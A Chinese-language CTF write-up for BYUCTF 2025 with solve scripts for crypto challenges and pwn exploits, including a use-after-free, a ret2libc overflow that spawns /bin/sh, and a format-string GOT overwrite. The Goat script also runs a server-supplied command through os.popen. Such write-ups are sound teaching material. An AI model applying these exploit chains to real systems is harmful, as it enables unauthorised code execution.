BYUCTF 2025

几周没会的比赛了,都是一题游。这周的BYU还不错,难度适中,只是时间有点短。周末时间不够。

Crypto

Many Primes

from Crypto.Util.number import bytes_to_long, getPrime
import randomflag = open("flag.txt").read().encode()
flag = bytes_to_long(flag)
n = 1
while n.bit_length()<4096:i = random.randint(10,16)reps = random.randint(2,5)p = getPrime(i)if n%p !=0:n*=p**reps
e = 65537
encryptedFlag = pow(flag, e, n)print(f"n = {n}")
print(f"e = {e}")
print(f"flag = {encryptedFlag}")

很显然这个n是由一系列小素数组成的可以很容易分解。

n = 84957339878841249042661992015318775914153057891067549723671982778975957526984361748735670333426792012519248099265537115315835602057882318543112781196438953840653279029957533208045448649312183873062132255928109150470090982541502003013666939934181416473581073990221728448342533549843710383544743220364127453679761909368982493089369740815066106196444062558446312836612656666434089655206650558129894180991572670565328419648196602807190683488653617068325238542193033423978598565191919683033996144778397817249870630736098769732268174866389943010980427234356604782502318622853423388492983406635687647680770869588481426436811952986075832678887752706507835771052708232550208582584262345437818916577580806059662945066377375408508814381061305598911972399165132279018674832071994673661875185328115121586302490349253912699566783660070599552395205352917554104371784905394477629626963439266490743240318198729049054547013391348516066097465180775402810975266096525722415778248668765855332776864126033830969325570615444114396786906102536716873598804164196155179833683285635189223166238933318740720918827120989416013091102543382987278707392961157272937695585450287755023671116911370689655292160336521776501052329465384315585357461493649222793172462113102463
e = 65537
flag = 45146787828557679140423580221442956925310977371109091853462843177826294442352634580160310989152235297235514141658881390908592470683795245870619319983451904537192781823855678086088663405872526980084960008183831288044960349605168173490367894375757787452024287989993362954206286853190401541606518731317814018817491109177360761859453002792899864984488524864028766239497641048919565458281765487932324396702580026094746189401141448947513512730220423629277692258527951902039531739842965067285622196418171785466236294324572986853688947727117303227689578683403160426800470263102483582737614730930657875098843867256713854784720793138228809768453579721222271047690131897888999884098995408016105397663714102200568327066068146128637742779637777800612639149916508879936573438036837445673606364763612971401591822166427703422764153960398983100036398400304771376839125152709954274549463602659761299411215766075895177151923436509501196662786766042103493713861194722614436307437016043581292216432028543923347478884441934980948114759937955940408027377458938151172837554432746134399838012547867483350557859826433321810794053681726512471838143910118068486851496148663526948219071671481909824342580081675074372829356225227848676981201731545407466857723499918017from Crypto.Util.number import *ps = factor(n)
phi=1
for v in ps:phi *= v[0]^(v[1]-1)*(v[0]-1)d = inverse_mod(e,phi)
m = pow(flag,d,n)
long_to_bytes(int(m))
#byuctf{3ulers_ph1_function_15_v3ry_us3ful_4nd_th15_I5_a_l0ng_fl4g}

PEM

$flag \in \sqrt N$

给了一个公钥,提示显然flag=m^2

long_to_bytes(isqrt(n))
#b'fjagkdflgfkdsjgfdltyugvjcbghjqfsdjvfdhbjfd byuctf{P3M_f0rm4t_1s_k1ng} cmxvblalsfiuqeuipplvdldbnmjzxydhjgfdgppsksjq'

 Real Smooth

#!/usr/local/bin/pythonfrom Crypto.Cipher import ChaCha20
from Crypto.Random import get_random_bytes
from secrets import FLAGkey = get_random_bytes(32)
nonce = get_random_bytes(8)cipher = ChaCha20.new(key=key, nonce=nonce)
print(bytes.hex(cipher.encrypt(b'Slide to the left')))
print(bytes.hex(cipher.encrypt(b'Slide to the right')))try:user_in = input().rstrip('\n')cipher = ChaCha20.new(key=key, nonce=nonce)decrypted = cipher.decrypt(bytes.fromhex(user_in))if decrypted == b'Criss cross, criss cross':print("Cha cha real smooth")print(FLAG)else:print("Those aren't the words!")
except Exception as e:print("Those aren't the words!")

给了用同样key加密的两段明文(对于chacha20加密来说,这两段可以看成连在一起的一段),要求给出一个密文解密与指定明文相同。chacha20其实就是生成个加密流,然后与明文异或得到密文。所以拿密文与明文1明文2异或就行。

from pwn import *
context.log_level = 'debug'p = remote('smooth.chal.cyberjousting.com', 1350)v = b'Slide to the left' + b'Slide to the right'
c = bytes.fromhex(p.recvline().strip().decode()) + bytes.fromhex(p.recvline().strip().decode())s = xor(v,c)v = b'Criss cross, criss cross'
c = xor(v,s[:len(v)])
p.sendline(c.hex())p.interactive()
#byuctf{ch4ch4_sl1d3?...n0,ch4ch4_b1tfl1p}

Cycles

from Crypto.Util.number import long_to_bytes, bytes_to_long, isPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad# Can you undo this?
from hidden import p,N,a,flag,g# these are for you :)
assert isPrime(p)
assert len(bin(a)) < 1050hint = pow(g, a, p)
key = long_to_bytes(a)[:16]cipher = AES.new(key, AES.MODE_ECB)
ct = cipher.encrypt(pad(flag, AES.block_size))# Now for your hints
print(f"g = {g}")
print(f"P = {p}")
print(f"ciphertext = {ct}")
print(f"Hint = {hint}")  #a=p-1

这题其实就是求a,给的提示是g^a=1 mod p 根据费小这个a应该是p-1但试了一下不对,再根据a小于1050位,猜a = k*(p-1)爆破一下

from tqdm import trange 
for i in trange(1,1<<26):a = (P-1)*icipher = AES.new(long_to_bytes(a)[:16], AES.MODE_ECB)m = cipher.decrypt(ciphertext)if b'byu' in m:print(m)#byuctf{1t_4lw4ys_c0m3s_b4ck_t0_1_21bcd6}

Choose Your RSA

#!/usr/local/bin/pythonfrom Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, getPrime
from Crypto.Util.Padding import pad
import osprint("[+] Generating values...", flush=True)
flag = open("/app/flag.txt").read().encode()
key = os.urandom(160)
p, q, n, e = [], [], [], []
for i in range(3):p.append(getPrime(1024+512*i))q.append(getPrime(1024+512*i))n.append(p[i]*q[i])cipher = AES.new(key[:16], AES.MODE_ECB)
print(cipher.encrypt(pad(flag, AES.block_size)).hex())
print("We will encrypt the key three times, and you can even choose the value of e. Please put your distinct e values in increasing order.")try:e = list(map(int, input().split(" ")))assert e[0]>1assert e[1]>e[0]assert e[2]>e[1]
except Exception as e:print("sorry, invalid input")quit()key = bytes_to_long(key)
for i in range(3):print(f"n{i}=",n[i], sep="")print(f"c{i}=", pow(key, e[i], n[i]), sep="")

这里要求输入3个e, 1<e0<e1<e2,这里的key是160*8位,n分别是2048+1024*e位,如果输入2则正好m^2比n大,第1个想到的就是CRT,输入2,4,8结果3个n的位置其实还是不如m^8大。然后用2,3,6成功。不过看了官方WP,其实只用2,4就可以m^4=5120位正好与两个n的和相等。

Hash Based Cryptography

#!/usr/local/bin/pythonimport hashlib
from secrets import KEY, FLAGdef gen_otp(key: bytes, message: bytes) -> bytes:iv = keyotp = b''for _ in range(len(message)//20):iv = hashlib.sha1(iv).digest()otp += ivreturn otpdef pad(message):if type(message) is str:message = message.encode()return message + bytes([(20 - len(message)) % 20]) * ((20 - len(message)) % 20)def unpad(message):if message[-1] > 20 or message[-1] != message[-message[-1]]:print("Padding error")raise ValueError("Invalid padding")return message[:-message[-1]]def encrypt(key, message) -> str:if type(key) is str:key = key.encode()return bytes([a^b for a, b in zip(pad(message), gen_otp(key, pad(message)))]).hex()def decrypt(key, message) -> str:if type(key) is str:key = key.encode()try:message = bytes.fromhex(message)return unpad(bytes([a^b for a, b in zip(message, gen_otp(key, pad(message)))])).decode(errors='ignore')except Exception as e:return f"Error decrypting"def test():print(encrypt("key", "hello world"))print(decrypt("key", "ce4a4e49d050c8c3b9ab95e62330713f787a7ed7"))def main():print("I just created this encryption system. I think it's pretty cool")print("Here's the encrypted flag:")print(encrypt(KEY, FLAG))print("Here, you can try it out, too:")while True:user_input = input(" > ")decrypted = decrypt(KEY, user_input)if FLAG in decrypted or "byuctf" in decrypted:print("I didn't make it that easy")continueprint(decrypted.encode())if __name__ == "__main__":main()

这个加密其实就是用key异或,然后提供解密,但要求不能与flag相同也不能用byuctf所以改第1个字符就OK了

└─$ nc hash.chal.cyberjousting.com 1351                                             
I just created this encryption system. I think it's pretty cool
Here's the encrypted flag:
36622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf5606981
Here, you can try it out, too:> 36622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf56069fd
I didn't make it that easy> 37622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf56069fd
b'cyuctf{my_k3y_4nd_m3ss4g3_w3r3_th3_s4m3'
#byuctf{my_k3y_4nd_m3ss4g3_w3r3_th3_s4m3}

Anaken21sec1/2

这俩题加密是一样的,只是第1题给了key要求解密,第2题要求求key再解密,所以放一起了。

import numpy as np
from random import choiceA = np.array([[1, 7, 13, 19, 25, 31],[2, 8, 14, 20, 26, 32],[3, 9, 15, 21, 27, 33],[4, 10, 16, 22, 28, 34],[5, 11, 17, 23, 29, 35],[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],[35, 29, 23, 17, 11, 5],[34, 28, 22, 16, 10, 4],[33, 27, 21, 15, 9, 3],[32, 26, 20, 14, 8, 2],[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],[32, 26, 20, 14, 8, 2],[33, 27, 21, 15, 9, 3],[34, 28, 22, 16, 10, 4],[35, 29, 23, 17, 11, 5],[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],[8, 2, 10, 4, 12, 6],[19, 13, 21, 15, 23, 17],[20, 14, 22, 16, 24, 18],[31, 25, 33, 27, 35, 29],[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],[1, 11, 15, 4, 29, 18],[7, 13, 14, 10, 16, 17],[20, 21, 27, 23, 24, 30],[19, 8, 33, 22, 26, 36],[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]def getRandomKey():letters = "abcdefghijklmnopqrstuvwxy"key = choice(letters)for i in range(1,11):oldletter = key[i-1]newletter = choice(letters)oldletterNum = ord(oldletter)-97newletterNum = ord(newletter)-97while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:newletter = choice(letters)newletterNum = ord(newletter)-97key+=newletterreturn keydef permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[i,j] = blockM[index//6, index%6]return finalBlockMdef add(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] +=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]elif count == 3:blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]else:blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]return np.mod(blockM, 3)def encrypt(plaintext, key):plaintext += "x"*((12-len(plaintext)%12)%12)blocks = [plaintext[12*i:12*(i+1)] for i in range(0,len(plaintext)//12)]keyNums = [ord(key[i])-97 for i in range(len(key))]resultLetters = ""#do the block permutations and additionsfor block in blocks:#make 6 by 6 matrixblockM =np.zeros((6,6))for (i,letter) in enumerate(block[0:6]):letterNum = ord(letter)-96blockM[0,i] = letterNum//9blockM[1,i] = (letterNum%9)//3blockM[2,i] = letterNum%3for (i,letter) in enumerate(block[6:]):letterNum = ord(letter)-96blockM[3,i] = letterNum//9blockM[4,i] = (letterNum%9)//3blockM[5,i] = letterNum%3#scramble matrixfor keyNum in keyNums:blockM = permute(blockM,(keyNum//5)%5)blockM = add(blockM, keyNum%5)#get resulting letters from matrixfor i in range(6):resultLetterNum = int(9*blockM[i,0]+3*blockM[i,1]+blockM[i,2])if resultLetterNum == 0:resultLetters += "0"else:resultLetters += chr(resultLetterNum+96)for i in range(6):resultLetterNum = int(9*blockM[i,3]+3*blockM[i,4]+blockM[i,5])if resultLetterNum == 0:resultLetters += "0"else:resultLetters += chr(resultLetterNum+96)#rearrange ciphertext according to the keyreducedKeyNums = [][reducedKeyNums.append(x) for x in keyNums if x not in reducedKeyNums]letterBoxes = [[] for i in reducedKeyNums]finalEncryptedText = ""for i in range(len(resultLetters)):letterBoxes[i%len(reducedKeyNums)].append(resultLetters[i])for i in range(len(reducedKeyNums)):nextLowest = reducedKeyNums.index(min(reducedKeyNums))reducedKeyNums[nextLowest] = 27for letter in letterBoxes[nextLowest]:finalEncryptedText+=letterreturn(finalEncryptedText)if __name__ == "__main__":plaintext =  input("What would you like to encrypt?\n")plaintextList = [letter.lower() for letter in plaintext if letter.isalpha()]plaintext = ""for letter in plaintextList:plaintext += letterkey = input("Enter the encryption key. Leave blank to randomly generate.\n")if key == "":key = getRandomKey()print(f"Your key is: {key}")print(encrypt(plaintext, key))

加密过程是这样的:

1,把明文pad成12的整数倍。明文只能是a-z的小写字母。

2,把明文每12字节一块加密

        1,把12个字符分两组,第1组按字母序号+1的3进制放到6*6矩阵的前3行每列对应1个字符,第2组同样的方法放后3行。

        2,依将按11位key的序号对矩阵作sbox和add操作,而key的值用来表示操作的矩阵和add的位置。

        3,将上步结果,前3列和后3列分别看成3进制得到对应的字符(0abc...)

3,所有块连接到一起后用栅栏的方法分成11组,用key的值从小到大将这些组重组成密文。

求key

在没有key的情况,首先就是求key.这里允许20次交互。

1,在加密的第3步是按照key的大小重组,所以这里先加密10个块,然后再生成一个10个块连在一起的,这样就得到10组未组合的密文和这10组密文组合后的密文。这里用10组是因为key的长度是因为每个块12字符,10*12=120与11块密文重组的11*11只差1个,把10*12个密文分11组,有10个组会有1个块是两个字符其它都是1个字符。

单独密文 'splfzkkrwdgx', 'apmgziosweas', 'phkbojvbuldw', 'yhi0okt0umgx', 'ghjaoixaunas', 'mxqegjdkvudw', 'vxocgkbivvgx', 'dxpdgifjvwas', 'jteh0svbhcmw', 'stcf0tt0hdpx'
组合密文 'sasjuaegfetpepgxivid0tlplyasjvjh0fzvihuvasshzokhnmgxih0kwb0odoxcskmhmgdwkvbfrgotjxvdmwtwsboxqxwjpxdadwkukcgvcgxiu0agbptd'

将全部密文按大概10-11一段切开换行,并且每段首字符为第1个单独密文的1个字符(其中有一个是前两个字符),例子中开头分别是s p l ... gx (这里恰巧gx赶在最后,不一定每回都是最后)

'''
#从第2列开始虽然还是那些字符,但顺序并不相同
s  as j  u  a  e  g  f  e  t
p  e  p  gx i  v  i  d  0  t
l  p  l  y  as j  v  j  h  0
f  z  v  i  h  u  v  as s  h
z  o  k  h  n  m  gx i  h  0
k  w  b  0  o  d  o  x  c  s
k  m  h  m  g  dw k  v  b  f
r  g  o  t  j  x  v  d  mw t
w  s  b  o  x  q  x  w  j  px
d  a  dw k  u  k  c  g  v  c
gx i  u  0  a  g  b  p  t  d#当确定第1组的双字符是gx时,所有密文的双字符位置是相同的
splfzkkrwd gx
apmgzioswe as
phkbojvbul dw
yhi0okt0um gx
ghjaoixaun as
mxqegjdkvu dw
vxocgkbivv gx
dxpdgifjvw as
jteh0svbhc mw
stcf0tt0hd px
'''

然后按列将双字符出现的位置记录下来:11,1,10,2,3,7,5,4,8,9,6 最后一个6是这些位置与未出现的一个这里只能得到10个位置,最后一个就是未出现的

这里的1-11是表示key的大小顺序,并不是key的值。

爆破key

由于已经得到key里字符的位置,这里爆破11个字符时就不用爆破所以排列而是得到C25,11的组合就行,再得到上步得到的顺序排成key即可,并通过encrypt来验证。这题实际爆破了5分钟,并不算长。估计最长会30分钟。

import encryptcipher ='uoan0zhemdqv0fmaqcmbkxxotmzswjyavoox'
order = [11,1,10,2,3,7,5,4,8,9,6]
#取第1组密文爆破
m1 = 'a'*12
c1 = 'splfzkkrwdgx'import itertools
from math import comb
import tqdmdef attack(v):tkey = ''.join([v[order[i]-1] for i in range(11)])if encrypt.encrypt('a'*12,tkey) == 'splfzkkrwdgx':print('key=', tkey)return Truetab = [chr(97+i) for i in range(25)]for v in tqdm.tqdm(itertools.combinations(tab, 11), total=comb(25,11)):if attack(v):break

解密

1,先把组合后的密文恢复成12字节的块,原题的命令太恶心了,越看越乱。

def dec1(c,key):#切开#1,恢复顺序#恢复顺序clen = len(c)nkey = [ord(i)-97 for i in key]vv = sorted(nkey)#print(nkey,vv)letterBoxes = ['']*11#按key大小顺序组合bsize = clen//11rr = clen - bsize*11   #<rr的取bsize+1字符,其它取bsize个f = vv[rr-1]  #<=f 则每块bsize+1#print(bsize,rr,f)rc = [0]*11for i in vv:if nkey.index(i) < rr:rc[nkey.index(i)] = c[:bsize+1]c = c[bsize+1:]else:rc[nkey.index(i)] = c[:bsize]c = c[bsize:]print(rc)rc2 = ''for i in range(bsize+1):for j in range(11):if rc[j] == '': continuerc2+=rc[j][:1]rc[j]=rc[j][1:]rc3 = [rc2[i:i+12] for i in range(0,clen,12)]#print(rc,rc2,rc3)return rc3

再对每个块解密,3进制放入矩阵,add的逆向,sbox逆向。

import numpy as np
from random import choiceA = np.array([[1, 7, 13, 19, 25, 31],[2, 8, 14, 20, 26, 32],[3, 9, 15, 21, 27, 33],[4, 10, 16, 22, 28, 34],[5, 11, 17, 23, 29, 35],[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],[35, 29, 23, 17, 11, 5],[34, 28, 22, 16, 10, 4],[33, 27, 21, 15, 9, 3],[32, 26, 20, 14, 8, 2],[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],[32, 26, 20, 14, 8, 2],[33, 27, 21, 15, 9, 3],[34, 28, 22, 16, 10, 4],[35, 29, 23, 17, 11, 5],[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],[8, 2, 10, 4, 12, 6],[19, 13, 21, 15, 23, 17],[20, 14, 22, 16, 24, 18],[31, 25, 33, 27, 35, 29],[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],[1, 11, 15, 4, 29, 18],[7, 13, 14, 10, 16, 17],[20, 21, 27, 23, 24, 30],[19, 8, 33, 22, 26, 36],[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]def getRandomKey():letters = "abcdefghijklmnopqrstuvwxy"key = choice(letters)for i in range(1,11):oldletter = key[i-1]newletter = choice(letters)oldletterNum = ord(oldletter)-97newletterNum = ord(newletter)-97while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:newletter = choice(letters)newletterNum = ord(newletter)-97key+=newletterreturn keydef permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[i,j] = blockM[index//6, index%6]return finalBlockMdef add(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] +=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]elif count == 3:blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]else:blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]return np.mod(blockM, 3)def sub(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] -=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]-blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[:3,:3]-blockM[3:,3:]elif count == 3:blockM[3:,:3] = blockM[3:,:3]-blockM[:3,3:]else:blockM[:3,3:] = blockM[:3,3:]-blockM[3:,:3]return np.mod(blockM, 3)def r_permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[index//6, index%6] = blockM[i,j]return finalBlockMdef dec1(c,key):#切开#1,恢复顺序#恢复顺序clen = len(c)nkey = [ord(i)-97 for i in key]vv = sorted(nkey)#print(nkey,vv)letterBoxes = ['']*11#按key大小顺序组合bsize = clen//11rr = clen - bsize*11   #<rr的取bsize+1字符,其它取bsize个f = vv[rr-1]  #<=f 则每块bsize+1#print(bsize,rr,f)rc = [0]*11for i in vv:if nkey.index(i) < rr:rc[nkey.index(i)] = c[:bsize+1]c = c[bsize+1:]else:rc[nkey.index(i)] = c[:bsize]c = c[bsize:]print(rc)rc2 = ''for i in range(bsize+1):for j in range(11):if rc[j] == '': continuerc2+=rc[j][:1]rc[j]=rc[j][1:]rc3 = [rc2[i:i+12] for i in range(0,clen,12)]#print(rc,rc2,rc3)return rc3def dec_block(block,key):keyNums = [ord(i)-97 for i in key]#make 6 by 6 matrixblockM =np.zeros((6,6))for i in range(6):if block[i] == '0':r = 0else:r = ord(block[i])-96blockM[i,0] = r//9 blockM[i,1] = r%9//3blockM[i,2] = r%3for i in range(6):if block[6+i] == '0':r = 0else:r = ord(block[6+i])-96blockM[i,3] = r//9 blockM[i,4] = r%9//3blockM[i,5] = r%3#print(blockM)#scramble matrixfor keyNum in keyNums[::-1]:blockM = sub(blockM, keyNum%5)blockM = r_permute(blockM,(keyNum//5)%5)#print(blockM)b = ''for i in range(6):v = blockM[0,i]*9 + blockM[1,i]*3+ blockM[2,i]b += chr(int(v)+96)for i in range(6):v = blockM[3,i]*9 + blockM[4,i]*3+ blockM[5,i]b += chr(int(v)+96)return bdef decrypt(c,key):return ''.join([dec_block(i,key) for i in dec1(c,key)])

PWN

Minecraft YouTuber

程序快200行了,主题就是由于user_t和nametag_t两个结构大小相同,先在注册个用户,然后修改last再注销后再注册利用那个残留1337就给flag

#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>__attribute__((constructor)) void flush_buf() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);
}typedef struct {long uid;char username[8];long keycard;
} user_t;typedef struct {long mfg_date;char first[8];char last[8];
} nametag_t;long UID = 0x1;
char filename[] = "flag.txt";
user_t* curr_user = NULL;
nametag_t* curr_nametag = NULL;void init() {setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF, 0);
}void register_user() {printf("WELCOME!! We're so excited to have you here! Tell us your username / tag and we'll get you set up with access to the facilities!\n");curr_user = (user_t*)malloc(sizeof(user_t));curr_user->uid = UID++;printf("Please go ahead an type your username now: \n");read(0, curr_user->username, 8);
}void log_out() {free(curr_user);curr_user = NULL;if (curr_nametag != NULL) {free(curr_nametag);curr_nametag = NULL;}
}int print_menu() {int choice;printf("What would you like to do now?\n");printf("1. Register a new user\n");printf("2. Learn about the Time Keepers\n");printf("3. Collect gear\n");printf("4. Elevate to super user\n");printf("5. Change characters\n");printf("6. Leave\n");// 7 is try to free loki but it's not technically an option, you have to be rebellious to get therescanf("%d", &choice);if (choice < 1 || choice > 7) {printf("Invalid choice. You broke the simulation\n");return 0;}return choice;
}int main(void) {init();srand(time(NULL)); int gear;printf("Hello! My name is Miss Minutes, and I'll be your helper here at the TVA!!\nHow about we get you oriented first!\nThe only rule is that we under no circumstances can free Loki... he's locked up for a reason!\n");int input = 1;while (input) {switch (input) {case 1: // register a new userregister_user();break;case 2:printf("The Time Keepers are the three beings who created the TVA and the Sacred Timeline. They are powerful beings who exist at the end of time and are responsible for maintaining the flow of time.\n");break;case 3: // collect gearif (curr_user == NULL) {printf("You must register a user first!\n");break;}gear = rand() % 5 + 1;if (curr_nametag != NULL) {free(curr_nametag);}switch (gear) {case 1:printf("You have received a Time Twister! This powerful device allows you to manipulate time and space.\n");break;case 2:printf("You have received a Name Tag! Please input your first and last name:\n");curr_nametag = (nametag_t*)malloc(sizeof(nametag_t));curr_nametag->mfg_date = (long)time(NULL);read(0, curr_nametag->first, 8);read(0, curr_nametag->last, 8);break;case 3:printf("You have received a Time Stick! This device allows you to reset the flow of time in a specific area.\n");break;case 4:printf("You have received a Time Loop! This device allows you to trap someone in a time loop.\n");break;case 5:printf("You have received a Time Bomb! This device allows you to create a temporal explosion.\n");break;}break;case 4:if (curr_user == NULL) {printf("You must register a user first!\n");break;}if (curr_user->uid >= 0x600000) {printf("Well, everything here checks out! Go ahead and take this key card!\n");curr_user->keycard = 0x1337;} else {printf("Unfortunately, it doesn't look like you have all the qualifications to get your own key card! Stay close to Miss Minutes and she should be able to get you anywhere you need to go...\n");}break;case 5:if (curr_user == NULL) {printf("You must register a user first!\n");break;}log_out();printf("You have been logged out.\n");printf(". "); sleep(1);printf(". "); sleep(1);printf(". \n"); sleep(1);register_user();break;case 6:input = 0;break;case 7:if (curr_user == NULL) {printf("You must register a user first!\n");break;}if (curr_user->keycard == 0x1337) {printf("You have freed Loki! In gratitude, he offers you a flag!\n");FILE* flag = fopen(filename, "r");if (flag == NULL) {printf("Flag file not found. Please contact an admin.\n");return EXIT_FAILURE;} else {char ch;while ((ch = fgetc(flag)) != EOF) {printf("%c", ch);}}fclose(flag);exit(0);break;} else {printf("EMERGENCY EMERGENCY UNAUTHORIZED USER HAS TRIED TO FREE LOKI!\n");printf("Time police rush to the room where you stand in shock. They rush you away, take your gear, and kick you back to your own timeline.\n");log_out();input = 0;break;}}if (input != 0) {input = print_menu();}}return input;
}
from pwn import *
context(arch='amd64', log_level='debug')p = remote('minecraft.chal.cyberjousting.com', 1354)p.sendafter(b"Please go ahead an type your username now: \n", p64(0x1337))
while True:p.sendlineafter(b"6. Leave\n", b'3')v = p.recvline()if v == b"You have received a Name Tag! Please input your first and last name:\n":p.send(p64(0x1337)*2)breakp.sendlineafter(b"6. Leave\n", b'5')
p.sendafter(b"Please go ahead an type your username now: \n", p64(0x1337))p.sendlineafter(b"6. Leave\n", b'7')p.interactive()
#byuctf{th3_3xpl01t_n4m3_1s_l1t3r4lly_gr00m1ng}

Game of Yap

game调用play,这里有个溢出。

int game()
{play();return puts("You can't yap!");
}ssize_t play()
{char buf[256]; // [rsp+0h] [rbp-100h] BYREFreturn read(0, buf, 0x256uLL);
}

有溢出但是没有相应的gadget所以这里需要用几个gadget绕一下

0x1266  puts 这里返回时rsi寄存器会被置成libc的地址

0x128a  printf(%p,) 利用rsi残留的值泄露libc

第1步利用第1个game的溢出覆盖返回地址尾字节跳到yap(去掉push rbp)泄露加载地址

第2步利用上边两个gadget先用1266填充rsi再用128a得到libc然后调用main重入

第3步sysem

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./game-of-yap')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8.1_amd64/libc.so.6')#p = process('./game-of-yap')
p = remote('yap.chal.cyberjousting.com', 1355)p.sendafter(b"Here's your first chance...\n", b'\0'*0x108+p8(0x7d))elf.address = int(p.recvline(),16) - 0x1210
print(f"{elf.address = :x}")#gdb.attach(p, "b*0x555555555239\nc")p.sendafter(b"One more try...\n", b'\0'*0x108+flat(elf.address+0x1266, 0, elf.address+0x128a,0, elf.address+0x1254))
p.recvuntil(b"You can't yap!\n")libc.address = int(p.recvline(), 16) - 0x204643
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
p.send(b'\0'*0x108 + flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
p.interactive()

Goat

这是个格式化字符串的题,有3个小点

1是有前异输出24字节,所以每次输出需要减掉这个数

2是字节数比较少每次只能改一点,而且地址需要预存

int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v4[2]; // [rsp+0h] [rbp-C0h] BYREFchar s1[64]; // [rsp+10h] [rbp-B0h] BYREFchar s[104]; // [rsp+50h] [rbp-70h] BYREFunsigned __int64 v7; // [rsp+B8h] [rbp-8h]v7 = __readfsqword(0x28u);v4[0] = 'TAOG';v4[1] = 0LL;snprintf(s,0x5FuLL,"Welcome to the %s simulator!\nLet's see if you're the %s...\nWhat's your name? ",(const char *)v4,(const char *)v4);printf(s);fgets(s1, 32, stdin);snprintf(s, 0x5FuLL, "Are you sure? You said:\n%s\n", s1);printf(s);fgets(s1, 16, stdin);if ( !strncmp(s1, "no", 2uLL) ){puts("\n?? Why would you lie to me about something so stupid?");}else{snprintf(s1, 0x3FuLL, "\nSorry, you're not the %s...", (const char *)v4);puts(s1);}return 0;
}

这里通过修改got表,改变程序流程,先是把strncmp 改成main实现循环。

因为改成main后每次栈都会抬高,而输入长度限制没法一次写两个地址(需要改3字节,一次改4字节字符数太大了),所以先执行两次把got.printf的地址留在栈里,最后一次把printf改为system,然后输入带;/bin/sh的值执行shell

from pwn import *
import os
context(arch='amd64', log_level='debug')elf = ELF('./goat')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8.1_amd64/libc.so.6')#p = process('./goat')
p = remote('goat.chal.cyberjousting.com', 1349)#pow
p.recvline()
v = p.recvline().decode().strip()
print(v)
a = os.popen(v)
p.send(a.read().encode())'''
18:00c0│ rbp 0x7fffffffdb50 —▸ 0x7fffffffdbf0 —▸ 0x7fffffffdc50 ◂— 0
19:00c8│+008 0x7fffffffdb58 —▸ 0x7ffff7c2a1ca ◂— mov edi, eax
'''#strncmp->main
p.sendafter(b"name? ", f'%{0x11f0-24}c%11$hn%30$p %31$p '.encode().ljust(0x18,b'\0')+p64(0x404000))
p.recvuntil(b'0x')
stack = int(p.recvuntil(b' '), 16) - 0xa0
libc.address = int(p.recvuntil(b' '), 16) - 0x2a1ca
print(f"{stack = :x} {libc.address = :x}")
p.sendline()
p.sendlineafter(b"name? ",b'')p.send(flat(0,elf.got['printf']))
p.sendlineafter(b"name? ",b'')
p.send(flat(0,elf.got['printf']+1))
p.sendlineafter(b"name? ",b'')
p.sendline(b'')#gdb.attach(p, "b*0x4012b0\nc")
#printf->system
system = p64(libc.sym['system'])
v1 = system[0]
v2 = u16(system[1:3])
p.sendlineafter(b"name? ", f'%{v1-24}c%87$hhn%{(v2-v1)&0xffff}c%61$hn'.encode())p.sendline(b';/bin/sh\0')p.interactive()

*MIPS

这种不大关心,为啥弄这么小众的题又都是入门

*TCL

还以为主办方给谁作广告呢。

看了WP拿来也没弄成。https://github.com/BYU-CSA/BYUCTF-2025/blob/main/

REV

LLIR

非常长,基本上就是v[33]=v[32]+1这种判断,写成不好认的语言

